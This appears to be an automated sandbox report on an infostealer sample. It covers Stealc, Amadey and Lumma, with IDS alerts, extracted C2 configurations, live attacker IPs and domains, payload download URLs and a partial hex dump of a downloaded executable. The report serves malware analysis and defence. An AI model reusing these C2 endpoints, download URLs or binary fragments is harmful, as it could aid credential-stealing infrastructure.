2024-11-18T13:29:01.643345+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:01.636575+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:01.938793+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:03.045011+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:01.945793+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49706	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:31.849578+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-18T13:31:06.205313+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49888	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:01.348034+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:30:40.237607+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49864	185.215.113.206	80	TCP
2024-11-18T13:30:57.369197+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49883	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:05.606203+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49837	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:18.145547+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49838	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:08.968336+0100	2803305	3	Unknown Traffic	192.168.2.8	49839	31.41.244.11	80	TCP
2024-11-18T13:30:19.990589+0100	2803305	3	Unknown Traffic	192.168.2.8	49841	185.215.113.16	80	TCP
2024-11-18T13:30:29.456603+0100	2803305	3	Unknown Traffic	192.168.2.8	49850	185.215.113.16	80	TCP
2024-11-18T13:30:38.346007+0100	2803305	3	Unknown Traffic	192.168.2.8	49860	185.215.113.16	80	TCP
2024-11-18T13:30:46.096775+0100	2803305	3	Unknown Traffic	192.168.2.8	49870	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:29:04.018558+0100	2803304	3	Unknown Traffic	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:27.512852+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:30.881535+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:32.827494+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:33.986253+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:36.200581+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:36.777979+0100	2803304	3	Unknown Traffic	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:40.951924+0100	2803304	3	Unknown Traffic	192.168.2.8	49829	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T13:30:45.040678+0100	2843864	1	A Network Trojan was detected	192.168.2.8	49869	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cook-rain.sbs/apiF6	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exev	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exeM	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/api_time	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs:443/apiZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpCH	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apium61	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apimeSerialNumber	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dlld	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exeb1	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/nTH1	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000003.2089025914.00000000048A0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: e9987cd408.exe.9184.30.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: d7f88d1a57.exe.6596.31.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD2A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CD2A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD244C0 PK11_PubEncrypt,	0_2_6CD244C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD24440 PK11_PrivDecrypt,	0_2_6CD24440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCF4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CCF4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD725B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CD725B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD0E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CD0E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD2A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CD2A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD08670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CD08670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CD4A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD50180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CD50180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD243B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CD243B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD47C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CD47C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD07D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CD07D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CD4BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD49EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CD49EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD23FF0 PK11_PrivDecryptPKCS1,	0_2_6CD23FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD23850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CD23850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD29840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CD29840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD4DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CD4DA40

Source: a4be4c0327.exe, 0000001A.00000002.2749765538.000000000099A000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_38e0943c-a

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=d7f88d1a57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49716 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.8:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.8:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.8:49933 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1975756030.000000006FE2D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: d7f88d1a57.exe, 0000001C.00000002.2804946031.0000000005FB2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1975756030.000000006FE2D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 38MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 186MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49837 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49838
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49840 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49848 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49864 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49868 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49879 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49883 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49889 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49889 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49876 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49869 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49891 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49891 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 41

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 12:29:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
